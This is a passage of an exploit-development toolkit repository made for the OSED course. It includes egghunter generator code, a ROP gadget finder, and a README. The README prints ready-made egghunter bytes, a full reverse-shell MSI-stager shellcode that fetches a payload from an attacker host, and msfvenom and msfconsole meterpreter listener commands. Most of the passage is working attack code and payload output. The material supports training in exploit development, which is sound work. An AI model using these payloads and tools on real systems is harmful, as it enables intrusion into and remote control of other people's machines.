47 | """ 48 | return asm 49 | 50 | 51 | def seh_hunter(tag): 52 | asm = [ 53 | "start:", 54 | "jmp get_seh_address", # start of jmp/call/pop 55 | "build_exception_record:", 56 | "pop ecx", # address of exception_handler 57 | f"mov eax, {tag_to_hex(tag)}", # tag into eax 58 | "push ecx", # push Handler of the _EXCEPTION_REGISTRATION_RECORD structure 59 | "push 0xffffffff", # push Next of the _EXCEPTION_REGISTRATION_RECORD structure 60 | "xor ebx, ebx", 61 | "mov dword ptr fs:[ebx], esp", # overwrite ExceptionList in the TEB with a pointer to our new _EXCEPTION_REGISTRATION_RECORD structure 62 | # bypass RtlIsValidHandler's StackBase check by placing the memory address of our _except_handler function at a higher address than the StackBase. 63 | "sub ecx, 0x04", # substract 0x04 from the pointer to exception_handler 64 | "add ebx, 0x04", # add 0x04 to ebx 65 | "mov dword ptr fs:[ebx], ecx", # overwrite the StackBase in the TEB 66 | "is_egg:", 67 | "push 0x02", 68 | "pop ecx", # load 2 into counter 69 | "mov edi, ebx", # move memory page address into edi 70 | "repe scasd", # check for tag, if the page is invalid we trigger an exception and jump to our exception_handler function 71 | "jnz loop_inc_one", # didn't find signature, increase ebx and repeat 72 | "jmp edi", # found the tag 73 | "loop_inc_page:", 74 | "or bx, 0xfff", # if page is invalid the exception_handler will update eip to point here and we move to next page 75 | "loop_inc_one:", 76 | "inc ebx", # increase memory page address by a byte 77 | "jmp is_egg", # check for the tag again 78 | "get_seh_address:", 79 | "call build_exception_record", # call portion of jmp/call/pop 80 | "push 0x0c", 81 | "pop ecx", # store 0x0c in ecx to use as an offset 82 | "mov eax, [esp+ecx]", # mov into eax the pointer to the CONTEXT structure for our exception 83 | "mov cl, 0xb8", # mov 0xb8 into ecx which will act as an offset to the eip 84 | # increase the value of eip by 0x06 in our CONTEXT so it points to the "or bx, 0xfff" instruction to increase the memory page 85 | "add dword ptr ds:[eax+ecx], 0x06", 86 | "pop eax", # save return address in eax 87 | "add esp, 0x10", # increase esp to clean the stack for our call 88 | "push eax", # push return value back into the stack 89 | "xor eax, eax", # null out eax to simulate ExceptionContinueExecution return 90 | "ret", 91 | ] 92 | return "\n".join(asm) 93 | 94 | 95 | def main(args): 96 | 97 | egghunter = ntaccess_hunter(args.tag) if not args.seh else seh_hunter(args.tag) 98 | 99 | eng = ks.Ks(ks.KS_ARCH_X86, ks.KS_MODE_32) 100 | if args.seh: 101 | encoding, count = eng.asm(egghunter) 102 | else: 103 | print("[+] Egghunter assembly code + coresponding bytes") 104 | asm_blocks = "" 105 | prev_size = 0 106 | for line in egghunter.splitlines(): 107 | asm_blocks += line + "\n" 108 | encoding, count = eng.asm(asm_blocks) 109 | if encoding: 110 | enc_opcode = "" 111 | for byte in encoding[prev_size:]: 112 | enc_opcode += "0x{0:02x} ".format(byte) 113 | prev_size += 1 114 | spacer = 30 - len(line) 115 | print("%s %s %s" % (line, (" " * spacer), enc_opcode)) 116 | 117 | final = "" 118 | final += 'egghunter = b"' 119 | 120 | for enc in encoding: 121 | final += "\\x{0:02x}".format(enc) 122 | 123 | final += '"' 124 | 125 | sentry = False 126 | 127 | for bad in args.bad_chars: 128 | if bad in final: 129 | print(f"[!] Found 0x{bad}") 130 | sentry = True 131 | 132 | if sentry: 133 | print(f"[=] {final[14:-1]}", file=sys.stderr) 134 | raise SystemExit("[!] Remove bad characters and try again") 135 | 136 | print(f"[+] egghunter created!") 137 | print(f"[=] len: {len(encoding)} bytes") 138 | print(f"[=] tag: {args.tag * 2}") 139 | print(f"[=] ver: {['NtAccessCheckAndAuditAlarm', 'SEH'][args.seh]}\n") 140 | print(final) 141 | 142 | 143 | if __name__ == "__main__": 144 | parser = argparse.ArgumentParser( 145 | description="Creates an egghunter compatible with the OSED lab VM" 146 | ) 147 | 148 | parser.add_argument( 149 | "-t", 150 | "--tag", 151 | help="tag for which the egghunter will search (default: c0d3)", 152 | default="c0d3", 153 | ) 154 | parser.add_argument( 155 | "-b", 156 | "--bad-chars", 157 | help="space separated list of bad chars to check for in final egghunter (default: 00)", 158 | default=["00"], 159 | nargs="+", 160 | ) 161 | parser.add_argument( 162 | "-s", 163 | "--seh", 164 | help="create an seh based egghunter instead of NtAccessCheckAndAuditAlarm", 165 | action="store_true", 166 | ) 167 | 168 | args = parser.parse_args() 169 | 170 | main(args) 171 | -------------------------------------------------------------------------------- /find-gadgets.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | import re 3 | import sys 4 | import shutil 5 | import argparse 6 | import tempfile 7 | import subprocess 8 | from pathlib import Path 9 | import multiprocessing 10 | import platform 11 | 12 | og_print = print 13 | from rich import print 14 | from rich.tree import Tree 15 | from rich.markup import escape 16 | from ropper import RopperService 17 | 18 | 19 | class Gadgetizer: 20 | def __init__(self, files, badbytes, output, arch, color): 21 | self.arch = arch 22 | self.color = color 23 | self.files = files 24 | self.output = output 25 | self.badbytes = "".join( 26 | badbytes 27 | ) # ropper's badbytes option has to be an instance of str 28 | self.ropper_svc = self.get_ropper_service() 29 | self.addresses = set() 30 | 31 | def get_ropper_service(self): 32 | # not all options need to be given 33 | options = { 34 | "color": self.color, 35 | "badbytes": self.badbytes, 36 | "type": "rop", 37 | } # if gadgets are printed, use detailed output; default: False 38 | 39 | rs = RopperService(options) 40 | 41 | for file in self.files: 42 | if ":" in file: 43 | file, base = file.split(":") 44 | rs.addFile(file, arch=self.arch) 45 | rs.clearCache() 46 | rs.setImageBaseFor(name=file, imagebase=int(base, 16)) 47 | else: 48 | rs.addFile(file, arch=self.arch) 49 | rs.clearCache() 50 | 51 | rs.loadGadgetsFor(file) 52 | 53 | return rs 54 | 55 | def get_gadgets(self, search_str, quality=1, strict=False): 56 | gadgets = [ 57 | (f, g) 58 | for f, g in self.ropper_svc.search(search=search_str, quality=quality) 59 | ] # could be memory hog 60 | 61 | if not gadgets and quality < self.ropper_svc.options.inst_count and not strict: 62 | # attempt highest quality gadget, continue requesting with lower quality until something is returned 63 | return self.get_gadgets(search_str, quality=quality + 1) 64 | 65 | return gadgets 66 | 67 | def _search_gadget(self, title, search_strs): 68 | title = f"[bright_yellow]{title}[/bright_yellow] gadgets" 69 | tree = Tree(title) 70 | gadget_filter = re.compile(r'ret 0x[0-9a-fA-F]{3,};') # filter out rets larger than 255 71 | 72 | for search_str in search_strs: 73 | for file, gadget in self.get_gadgets(search_str): 74 | if gadget_filter.search(gadget.simpleString()): 75 | # not sure how to filter large ret sizes within ropper's search functionality, so doing it here 76 | continue 77 | tree.add(f"{escape(str(gadget)).replace(':', ' #', 1)} :: {file}") 78 | self.addresses.add(hex(gadget.address)) 79 | 80 | return tree 81 | 82 | def add_gadgets_to_tree(self, tree): 83 | zeroize_strs = [] 84 | reg_prefix = "e" if self.arch == "x86" else "r" 85 | 86 | eip_to_esp_strs = [ 87 | f"jmp {reg_prefix}sp;", 88 | "leave;", 89 | f"mov {reg_prefix}sp, ???;", 90 | f"call {reg_prefix}sp;", 91 | ] 92 | 93 | tree.add(self._search_gadget("write-what-where", ["mov [???], ???;"])) 94 | tree.add(self._search_gadget("pointer deref", ["mov ???, [???];"])) 95 | tree.add( 96 | self._search_gadget( 97 | "swap register", 98 | ["mov ???, ???;", "xchg ???, ???;", "push ???; pop ???;"], 99 | ) 100 | ) 101 | tree.add(self._search_gadget("increment register", ["inc ???;"])) 102 | tree.add(self._search_gadget("decrement register", ["dec ???;"])) 103 | tree.add(self._search_gadget("add register", [f"add ???, {reg_prefix}??;"])) 104 | tree.add( 105 | self._search_gadget("subtract register", [f"sub ???, {reg_prefix}??;"]) 106 | ) 107 | tree.add(self._search_gadget("negate register", [f"neg {reg_prefix}??;"])) 108 | tree.add(self._search_gadget("xor register", [f"xor {reg_prefix}??, 0x????????"])) 109 | tree.add(self._search_gadget("push", [f"push {reg_prefix}??;"])) 110 | tree.add(self._search_gadget("pushad", [f"pushad;"])) 111 | tree.add(self._search_gadget("pop", [f"pop {reg_prefix}??;"])) 112 | tree.add( 113 | self._search_gadget( 114 | "push-pop", [f"push {reg_prefix}??;.*pop {reg_prefix}??;*"] 115 | ) 116 | ) 117 | 118 | for reg in [ 119 | f"{reg_prefix}ax", 120 | f"{reg_prefix}bx", 121 | f"{reg_prefix}cx", 122 | f"{reg_prefix}dx", 123 | f"{reg_prefix}si", 124 | f"{reg_prefix}di", 125 | ]: 126 | zeroize_strs.append(f"xor {reg}, {reg};") 127 | zeroize_strs.append(f"sub {reg}, {reg};") 128 | zeroize_strs.append(f"lea [{reg}], 0;") 129 | zeroize_strs.append(f"mov {reg}, 0;") 130 | zeroize_strs.append(f"and {reg}, 0;") 131 | eip_to_esp_strs.append(f"xchg {reg_prefix}sp, {reg}; jmp {reg};") 132 | eip_to_esp_strs.append(f"xchg {reg_prefix}sp, {reg}; call {reg};") 133 | 134 | tree.add(self._search_gadget("zeroize", zeroize_strs)) 135 | tree.add(self._search_gadget("eip to esp", eip_to_esp_strs)) 136 | 137 | def save(self): 138 | self.ropper_svc.options.color = False 139 | 140 | with open(self.output, "w") as f: 141 | for file in self.files: 142 | if ":" in file: 143 | file = file.split(":")[0] 144 | 145 | for gadget in self.ropper_svc.getFileFor(name=file).gadgets: 146 | f.write(f"{gadget}\n") 147 | 148 | 149 | def add_missing_gadgets(ropper_addresses: set, in_file, outfile, bad_bytes, base_address=None): 150 | """ for w/e reason rp++ finds signficantly more gadgets, this function adds them to ropper's dump of all gadgets """ 151 | fname = '' 152 | if platform.system() == 'Linux': 153 | fname = 'rp-lin-x64' 154 | elif platform.system() == "Darwin": 155 | fname = 'rp-osx-x64' 156 | 157 | rp = Path('~/.local/bin/' + fname).expanduser().resolve() 158 | 159 | if not rp.exists(): 160 | print(f"[bright_yellow][*][/bright_yellow] rp++ not found, downloading...") 161 | rp.parent.mkdir(parents=True, exist_ok=True) 162 | 163 | wget = shutil.which('wget') 164 | if not wget: 165 | print(f"[bright_red][!][/bright_red] wget not found, please install it or add -s|--skip-rp to your command") 166 | return 167 | 168 | subprocess.run(f'{wget} https://github.com/0vercl0k/rp/releases/download/v2.0.2/{fname} -O {rp}'.split()) 169 | 170 | 171 | rp.chmod(mode=0o755) 172 | 173 | with tempfile.TemporaryFile(mode='w+', suffix='osed-rop') as tmp_file, open(outfile, 'a') as af: 174 | 175 | command = f'{rp} -r5 -f {in_file} --unique' 176 | 177 | if bad_bytes: 178 | bad_bytes = ''.join([f"\\x{byte}" for byte in bad_bytes]) 179 | command += f' --bad-bytes={bad_bytes}' 180 | if base_address: 181 | command += f' --va={base_address}' 182 | 183 | print(f"[bright_green][+][/bright_green] running '{command}'") 184 | subprocess.run(command.split(), stdout=tmp_file) 185 | 186 | tmp_file.seek(0) 187 | 188 | for line in tmp_file.readlines(): 189 | if not line.startswith('0x'): 190 | continue 191 | 192 | rp_address = line.split(':')[0] 193 | 194 | if rp_address not in ropper_addresses: 195 | truncated = line.rsplit(';', maxsplit=1)[0] 196 | af.write(f'{truncated}\n') 197 | 198 | 199 | def clean_up_all_gadgets(outfile): 200 | """ normalize output from ropper and rp++ """ 201 | normal_spaces = re.compile(r'[ ]{2,}') 202 | normal_semicolon = re.compile(r'[ ]+?;') 203 | 204 | with tempfile.TemporaryFile(mode='w+', suffix='osed-rop') as tmp_file, open(outfile, 'r+') as f: 205 | for line in f.readlines(): 206 | # rp++ adds a bunch of spaces around everything. normalize them for easier regex 207 | line = normal_spaces.sub(' ', line) 208 | 209 | # rp++ adds a bunch of spaces around semi-colons, ropper does not. normalize them for easier regex 210 | line = normal_semicolon.sub(';', line) 211 | 212 | # change "0x97753db7: add ..." to "0x97753db7 # add ..." for easy addition to source code 213 | line = line.replace(':', ' #', 1) 214 | 215 | tmp_file.write(line) 216 | 217 | tmp_file.seek(0) 218 | 219 | f.seek(0) 220 | f.write(tmp_file.read()) 221 | # tmp_file became shorter than the original, need to remove the old contents that persist beyond 222 | # what was just written 223 | f.truncate() 224 | 225 | 226 | def print_useful_regex(outfile, arch): 227 | 228 | reg_prefix = "e" if arch == "x86" else "r" 229 | len_sort = "| awk '{ print length, $0 }' | sort -n -s -r | cut -d' ' -f2- | tail" 230 | any_reg = f'{reg_prefix}..' 231 | 232 | search_terms = list() 233 | search_terms.append(f'(jmp|call) {reg_prefix}sp;') 234 | search_terms.append(fr'mov {any_reg}, \[{any_reg}\];') 235 | search_terms.append(fr'mov \[{any_reg}\], {any_reg};') 236 | search_terms.append(fr'mov {any_reg}, {any_reg};') 237 | search_terms.append(fr'xchg {any_reg}, {any_reg};') 238 | search_terms.append(fr'push {any_reg};.*pop {any_reg};') 239 | search_terms.append(fr'inc {any_reg};') 240 | search_terms.append(fr'dec {any_reg};') 241 | search_terms.append(fr'neg {any_reg};') 242 | search_terms.append(fr'push {any_reg};') 243 | search_terms.append(fr'pop {any_reg};') 244 | search_terms.append('pushad;') 245 | search_terms.append(fr'and {any_reg}, ({any_reg}|0x.+?);') 246 | search_terms.append(fr'xor {any_reg}, ({any_reg}|0x.+?);') 247 | search_terms.append(fr'add {any_reg}, ({any_reg}|0x.+?);') 248 | search_terms.append(fr'sub {any_reg}, ({any_reg}|0x.+?);') 249 | search_terms.append(fr'(lea|mov|and) \[?{any_reg}\]?, 0;') 250 | 251 | print(f"[bright_green][+][/bright_green] helpful regex for searching within {outfile}\n") 252 | 253 | for term in search_terms: 254 | og_print(f"egrep '{term}' {outfile} {len_sort}") 255 | 256 | 257 | def main(args): 258 | if platform.system() == "Darwin": 259 | #Fix issue with Ropper in macOS -> AttributeError: 'Ropper' object has no attribute '__gatherGadgetsByEndings' 260 | multiprocessing.set_start_method('fork') 261 | 262 | g = Gadgetizer(args.files, args.bad_chars, args.output, args.arch, args.color) 263 | 264 | tree = Tree( 265 | f'[bright_green][+][/bright_green] Categorized gadgets :: {" ".join(sys.argv)}' 266 | ) 267 | g.add_gadgets_to_tree(tree) 268 | 269 | print(tree) 270 | 271 | with open(f"{g.output}.clean", "w") as f: 272 | print(tree, file=f) 273 | 274 | print( 275 | f"[bright_green][+][/bright_green] Collection of all gadgets written to [bright_blue]{args.output}[/bright_blue]" 276 | ) 277 | g.save() 278 | 279 | if args.skip_rp: 280 | return 281 | 282 | for file in args.files: 283 | if ":" in file: 284 | file, base = file.split(":") 285 | add_missing_gadgets(g.addresses, file, args.output, bad_bytes=args.bad_chars, base_address=base) 286 | else: 287 | add_missing_gadgets(g.addresses, file, args.output, bad_bytes=args.bad_chars) 288 | 289 | clean_up_all_gadgets(args.output) 290 | print_useful_regex(args.output, args.arch) 291 | 292 | 293 | if __name__ == "__main__": 294 | parser = argparse.ArgumentParser( 295 | description="Searches for clean, categorized gadgets from a given list of files" 296 | ) 297 | 298 | parser.add_argument( 299 | "-f", 300 | "--files", 301 | help="space separated list of files from which to pull gadgets (optionally, add base address (libspp.dll:0x10000000))", 302 | required=True, 303 | nargs="+", 304 | ) 305 | parser.add_argument( 306 | "-b", 307 | "--bad-chars", 308 | help="space separated list of bad chars to omit from gadgets, e.g., 00 0a (default: empty)", 309 | default=[], 310 | nargs="+", 311 | ) 312 | parser.add_argument( 313 | "-a", 314 | "--arch", 315 | choices=["x86", "x86_64"], 316 | help="architecture of the given file (default: x86)", 317 | default="x86", 318 | ) 319 | parser.add_argument( 320 | "-o", 321 | "--output", 322 | help="name of output file where all (uncategorized) gadgets are written (default: found-gadgets.txt)", 323 | default="found-gadgets.txt", 324 | ) 325 | parser.add_argument( 326 | "-c", 327 | "--color", 328 | help="colorize gadgets in output (default: False)", 329 | action='store_true', 330 | ) 331 | parser.add_argument( 332 | "-s", 333 | "--skip-rp", 334 | help="don't run rp++ to find additional gadgets (default: False)", 335 | action='store_true', 336 | ) 337 | 338 | args = parser.parse_args() 339 | 340 | main(args) 341 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # osed-scripts 2 | bespoke tooling for offensive security's Windows Usermode Exploit Dev course (OSED) 3 | 4 | ## Table of Contents 5 | 6 | - [Standalone Scripts](#standalone-scripts) 7 | - [egghunter.py](#egghunterpy) 8 | - [find-gadgets.py](#find-gadgetspy) 9 | - [shellcoder.py](#shellcoderpy) 10 | - [install-mona.sh](#install-monash) 11 | - [attach-process.ps1](#attach-processps1) 12 | - [WinDbg Scripts](#windbg-scripts) 13 | - [find-ppr.py](#find-pprpy) 14 | - [find-bad-chars.py](#find-bad-charspy) 15 | - [search.py](#searchpy) 16 | 17 | ## Standalone Scripts 18 | ### Installation: 19 | pip3 install keystone-engine numpy 20 | 21 | ### egghunter.py 22 | 23 | requires [keystone-engine](https://github.com/keystone-engine/keystone) 24 | 25 | ``` 26 | usage: egghunter.py [-h] [-t TAG] [-b BAD_CHARS [BAD_CHARS ...]] [-s] 27 | 28 | Creates an egghunter compatible with the OSED lab VM 29 | 30 | optional arguments: 31 | -h, --help show this help message and exit 32 | -t TAG, --tag TAG tag for which the egghunter will search (default: c0d3) 33 | -b BAD_CHARS [BAD_CHARS ...], --bad-chars BAD_CHARS [BAD_CHARS ...] 34 | space separated list of bad chars to check for in final egghunter (default: 00) 35 | -s, --seh create an seh based egghunter instead of NtAccessCheckAndAuditAlarm 36 | 37 | ``` 38 | 39 | generate default egghunter 40 | ``` 41 | ./egghunter.py 42 | [+] egghunter created! 43 | [=] len: 35 bytes 44 | [=] tag: c0d3c0d3 45 | [=] ver: NtAccessCheckAndAuditAlarm 46 | 47 | egghunter = b"\x66\x81\xca\xff\x0f\x42\x52\x31\xc0\x66\x05\xc6\x01\xcd\x2e\x3c\x05\x5a\x74\xec\xb8\x63\x30\x64\x33\x89\xd7\xaf\x75\xe7\xaf\x75\xe4\xff\xe7" 48 | 49 | ``` 50 | 51 | generate egghunter with `w00tw00t` tag 52 | ``` 53 | ./egghunter.py --tag w00t 54 | [+] egghunter created! 55 | [=] len: 35 bytes 56 | [=] tag: w00tw00t 57 | [=] ver: NtAccessCheckAndAuditAlarm 58 | 59 | egghunter = b"\x66\x81\xca\xff\x0f\x42\x52\x31\xc0\x66\x05\xc6\x01\xcd\x2e\x3c\x05\x5a\x74\xec\xb8\x77\x30\x30\x74\x89\xd7\xaf\x75\xe7\xaf\x75\xe4\xff\xe7" 60 | 61 | ``` 62 | 63 | generate SEH-based egghunter while checking for bad characters (does not alter the shellcode, that's to be done manually) 64 | ``` 65 | ./egghunter.py -b 00 0a 25 26 3d --seh 66 | [+] egghunter created! 67 | [=] len: 69 bytes 68 | [=] tag: c0d3c0d3 69 | [=] ver: SEH 70 | 71 | egghunter = b"\xeb\x2a\x59\xb8\x63\x30\x64\x33\x51\x6a\xff\x31\xdb\x64\x89\x23\x83\xe9\x04\x83\xc3\x04\x64\x89\x0b\x6a\x02\x59\x89\xdf\xf3\xaf\x75\x07\xff\xe7\x66\x81\xcb\xff\x0f\x43\xeb\xed\xe8\xd1\xff\xff\xff\x6a\x0c\x59\x8b\x04\x0c\xb1\xb8\x83\x04\x08\x06\x58\x83\xc4\x10\x50\x31\xc0\xc3" 72 | 73 | ``` 74 | 75 | ### find-gadgets.py 76 | 77 | Finds and categorizes useful gadgets. Only prints to terminal the cleanest gadgets available (minimal amount of garbage between what's searched for and the final ret instruction). All gadgets are written to a text file for further searching. 78 | 79 | requires [rich](https://github.com/willmcgugan/rich) and [ropper](https://github.com/sashs/Ropper) 80 | 81 | 82 | > today (3 june 2021) i found that ropper (and also ROPGadget) fail to find a gadget that rp++ finds (this led me to have a hard time with challenge #2, as there was an add gadget that ropper simply didn't see). 83 | 84 | > Since find-gadgets uses the ropper api, I updated find-gadgets to also pull in rp++ gadgets. Currently, the rp++ gadgets that ropper didn't find are added to the 'all gadgets' file (found-gadgets.txt by default), and aren't categorized in the 'clean gadgets' file (found-gadgets.txt.clean by default). So, the coverage is there, just not well integrated. I may or may not revisit it and get the rp++ output categorized as well. 85 | 86 | ```text 87 | usage: find-gadgets.py [-h] -f FILES [FILES ...] [-b BAD_CHARS [BAD_CHARS ...]] [-o OUTPUT] 88 | 89 | Searches for clean, categorized gadgets from a given list of files 90 | 91 | optional arguments: 92 | -h, --help show this help message and exit 93 | -f FILES [FILES ...], --files FILES [FILES ...] 94 | space separated list of files from which to pull gadgets (optionally, add base address (libspp.dll:0x10000000)) 95 | -b BAD_CHARS [BAD_CHARS ...], --bad-chars BAD_CHARS [BAD_CHARS ...] 96 | space separated list of bad chars to omit from gadgets, e.g., 00 0a (default: empty) 97 | -o OUTPUT, --output OUTPUT 98 | name of output file where all (uncategorized) gadgets are written (default: found-gadgets.txt) 99 | ``` 100 | 101 | find gadgets in multiple files (one is loaded at a different offset than what the dll prefers) and omit `0x0a` and `0x0d` from all gadgets 102 | 103 | ![gadgets](img/gadgets.png) 104 | 105 | ### shellcoder.py 106 | 107 | requires [keystone-engine](https://github.com/keystone-engine/keystone) 108 | 109 | Creates reverse shell with optional msi loader 110 | 111 | ``` 112 | usage: shellcode.py [-h] [-l LHOST] [-p LPORT] [-b BAD_CHARS [BAD_CHARS ...]] [-m] [-d] [-t] [-s] 113 | 114 | Creates shellcodes compatible with the OSED lab VM 115 | 116 | optional arguments: 117 | -h, --help show this help message and exit 118 | -l LHOST, --lhost LHOST 119 | listening attacker system (default: 127.0.0.1) 120 | -p LPORT, --lport LPORT 121 | listening port of the attacker system (default: 4444) 122 | -b BAD_CHARS [BAD_CHARS ...], --bad-chars BAD_CHARS [BAD_CHARS ...] 123 | space separated list of bad chars to check for in final egghunter (default: 00) 124 | -m, --msi use an msf msi exploit stager (short) 125 | -d, --debug-break add a software breakpoint as the first shellcode instruction 126 | -t, --test-shellcode test the shellcode on the system 127 | -s, --store-shellcode 128 | store the shellcode in binary format in the file shellcode.bin 129 | ``` 130 | 131 | ``` 132 | ❯ python3 shellcode.py --msi -l 192.168.49.88 -s 133 | [+] shellcode created! 134 | [=] len: 251 bytes 135 | [=] lhost: 192.168.49.88 136 | [=] lport: 4444 137 | [=] break: breakpoint disabled 138 | [=] ver: MSI stager 139 | [=] Shellcode stored in: shellcode.bin 140 | [=] help: 141 | Create msi payload: 142 | msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.49.88 LPORT=443 -f msi -o X 143 | Start http server (hosting the msi file): 144 | sudo python -m SimpleHTTPServer 4444 145 | Start the metasploit listener: 146 | sudo msfconsole -q -x "use exploit/multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 192.168.49.88; set LPORT 443; exploit" 147 | Remove bad chars with msfvenom (use --store-shellcode flag): 148 | cat shellcode.bin | msfvenom --platform windows -a x86 -e x86/shikata_ga_nai -b "\x00\x0a\x0d\x25\x26\x2b\x3d" -f python -v shellcode 149 | 150 | shellcode = b"\x89\xe5\x81\xc4\xf0\xf9\xff\xff\x31\xc9\x64\x8b\x71\x30\x8b\x76\x0c\x8b\x76\x1c\x8b\x5e\x08\x8b\x7e\x20\x8b\x36\x66\x39\x4f\x18\x75\xf2\xeb\x06\x5e\x89\x75\x04\xeb\x54\xe8\xf5\xff\xff\xff\x60\x8b\x43\x3c\x8b\x7c\x03\x78\x01\xdf\x8b\x4f\x18\x8b\x47\x20\x01\xd8\x89\x45\xfc\xe3\x36\x49\x8b\x45\xfc\x8b\x34\x88\x01\xde\x31\xc0\x99\xfc\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x3b\x54\x24\x24\x75\xdf\x8b\x57\x24\x01\xda\x66\x8b\x0c\x4a\x8b\x57\x1c\x01\xda\x8b\x04\x8a\x01\xd8\x89\x44\x24\x1c\x61\xc3\x68\x83\xb9\xb5\x78\xff\x55\x04\x89\x45\x10\x68\x8e\x4e\x0e\xec\xff\x55\x04\x89\x45\x14\x31\xc0\x66\xb8\x6c\x6c\x50\x68\x72\x74\x2e\x64\x68\x6d\x73\x76\x63\x54\xff\x55\x14\x89\xc3\x68\xa7\xad\x2f\x69\xff\x55\x04\x89\x45\x18\x31\xc0\x66\xb8\x71\x6e\x50\x68\x2f\x58\x20\x2f\x68\x34\x34\x34\x34\x68\x2e\x36\x34\x3a\x68\x38\x2e\x34\x39\x68\x32\x2e\x31\x36\x68\x2f\x2f\x31\x39\x68\x74\x74\x70\x3a\x68\x2f\x69\x20\x68\x68\x78\x65\x63\x20\x68\x6d\x73\x69\x65\x54\xff\x55\x18\x31\xc9\x51\x6a\xff\xff\x55\x10" 151 | **** 152 | ``` 153 | 154 | ### install-mona.sh 155 | 156 | downloads all components necessary to install mona and prompts you to use an admin shell on the windows box to finish installation. 157 | 158 | ``` 159 | ❯ ./install-mona.sh 192.168.XX.YY 160 | [+] once the RDP window opens, execute the following command in an Administrator terminal: 161 | 162 | powershell -c "cat \\tsclient\mona-share\install-mona.ps1 | powershell -" 163 | 164 | [=] downloading https://github.com/corelan/windbglib/raw/master/pykd/pykd.zip 165 | [=] downloading https://github.com/corelan/windbglib/raw/master/windbglib.py 166 | [=] downloading https://github.com/corelan/mona/raw/master/mona.py 167 | [=] downloading https://www.python.org/ftp/python/2.7.17/python-2.7.17.msi 168 | [=] downloading https://download.microsoft.com/download/2/E/6/2E61CFA4-993B-4DD4-91DA-3737CD5CD6E3/vcredist_x86.exe 169 | [=] downloading https://raw.githubusercontent.com/epi052/osed-scripts/main/install-mona.ps1 170 | Autoselecting keyboard map 'en-us' from locale 171 | Core(warning): Certificate received from server is NOT trusted by this system, an exception has been added by the user to trust this specific certificate. 172 | Failed to initialize NLA, do you have correct Kerberos TGT initialized ? 173 | Core(warning): Certificate received from server is NOT trusted by this system, an exception has been added by the user to trust this specific certificate. 174 | Connection established using SSL. 175 | Protocol(warning): process_pdu_logon(), Unhandled login infotype 1 176 | Clipboard(error): xclip_handle_SelectionNotify(), unable to find a textual target to satisfy RDP clipboard text request 177 | 178 | ``` 179 | 180 | ### attach-process.ps1 181 | 182 | Credit to discord user @SilverStr for the inspiration! 183 | 184 | One-shot script to perform the following actions: 185 | - start a given service (if `-service-name` is provided) 186 | - start a given executable path (if `-path` is provided) 187 | - start windbg and attach to the given process 188 | - run windbg commands after attaching (if `-commands` is provided) 189 | - restart a given service when windbg exits (if `-service-name` is provided) 190 | 191 | The values for `-service-name`, `-process-name`, and `-path` are tab-completable. 192 | 193 | ``` 194 | .\attach-process.ps1 -service-name fastbackserver -process-name fastbackserver -commands '.load pykd; bp fastbackserver!recvfrom' 195 | ``` 196 | 197 | ``` 198 | \\tsclient\shared\osed-scripts\attach-process.ps1 -service-name 'Sync Breeze Enterprise' -process-name syncbrs 199 | ``` 200 | 201 | ``` 202 | \\tsclient\share\osed-scripts\attach-process.ps1 -path C:\Windows\System32\notepad.exe -process-name notepad 203 | ``` 204 | 205 | This script can be run inside a while loop for maximum laziness! Also, you can do things like `g` to start the process, followed by commands you'd like to run once the next break is hit. 206 | 207 | ``` 208 | while ($true) {\\tsclient\shared\osed-scripts\attach-process.ps1 -process-name PROCESS_NAME -commands '.load pykd; bp SOME_ADDRESS; g; !exchain' ;} 209 | ``` 210 | 211 | Below, the process will load pykd, set a breakpoint (let's assume a pop-pop-ret gadget) and then resume execution. Once it hits the first access violation, it will run `!exchain` and then `g` to allow execution to proceed until it hits PPR gadget, after which it steps thrice using `p`, bringing EIP to the instruction directly following the pop-pop-ret. 212 | 213 | ``` 214 | while ($true) {\\tsclient\shared\osed-scripts\attach-process.ps1 -process-name PROCESS_NAME -commands '.load pykd; bp PPR_ADDRESS; g; !exchain; g; p; p; p;' ;} 215 | ``` 216 | 217 | ## WinDbg Scripts 218 | 219 | all windbg scripts require `pykd` 220 | 221 | run `.load pykd` then `!py c:\path\to\this\repo\script.py` 222 | 223 | Alternatively, you can put the scripts in `C:\python37\scripts` so they execute as `!py SCRIPT_NAME`. 224 | 225 | Also, using `attach-process.ps1` you can add `-commands '.load pykd; g'` to always have pykd available. 226 | 227 | ### find-ppr.py 228 | 229 | Credit to @netspooky for the rewrite of this script! 230 | 231 | Search for `pop r32; pop r32; ret` instructions by module name. By default it only shows usable addresses without bad chars defined in the BADCHARS list on line 6. 232 | Printed next to the gadgets is an escaped little endian address for pasting into your shellcode. 233 | 234 | 0:000> !py find-ppr_ns.py -b 00 0A 0D -m libspp libsync 235 | [+] searching libsync for pop r32; pop r32; ret 236 | [+] BADCHARS: \x00\x0A\x0D 237 | [+] libsync: Found 0 usable gadgets! 238 | [+] searching libspp for pop r32; pop r32; ret 239 | [+] BADCHARS: \x00\x0A\x0D 240 | [OK] libspp::0x101582b0: pop eax; pop ebx; ret ; \xB0\x82\x15\x10 241 | [OK] libspp::0x1001bc5a: pop ebx; pop ecx; ret ; \x5A\xBC\x01\x10 242 | ... 243 | [OK] libspp::0x10150e27: pop edi; pop esi; ret ; \x27\x0E\x15\x10 244 | [OK] libspp::0x10150fc8: pop edi; pop esi; ret ; \xC8\x0F\x15\x10 245 | [OK] libspp::0x10151820: pop edi; pop esi; ret ; \x20\x18\x15\x10 246 | [+] libspp: Found 316 usable gadgets! 247 | 248 | ---- STATS ---- 249 | >> BADCHARS: \x00\x0A\x0D 250 | >> Usable Gadgets Found: 316 251 | >> Module Gadget Counts 252 | - libsync: 0 253 | - libspp: 316 254 | Done! 255 | 256 | Show all gadgets with the `-s` flag. 257 | 258 | 0:000> !py find-ppr_ns.py -b 00 0A 0D -m libspp libsync -s 259 | [+] searching libsync for pop r32; pop r32; ret 260 | [+] BADCHARS: \x00\x0A\x0D 261 | [--] libsync::0x0096add0: pop eax; pop ebx; ret ; \xD0\xAD\x96\x00 262 | [--] libsync::0x00914784: pop ebx; pop ecx; ret ; \x84\x47\x91\x00 263 | ... 264 | [OK] libspp::0x10150e27: pop edi; pop esi; ret ; \x27\x0E\x15\x10 265 | [OK] libspp::0x10150fc8: pop edi; pop esi; ret ; \xC8\x0F\x15\x10 266 | [OK] libspp::0x10151820: pop edi; pop esi; ret ; 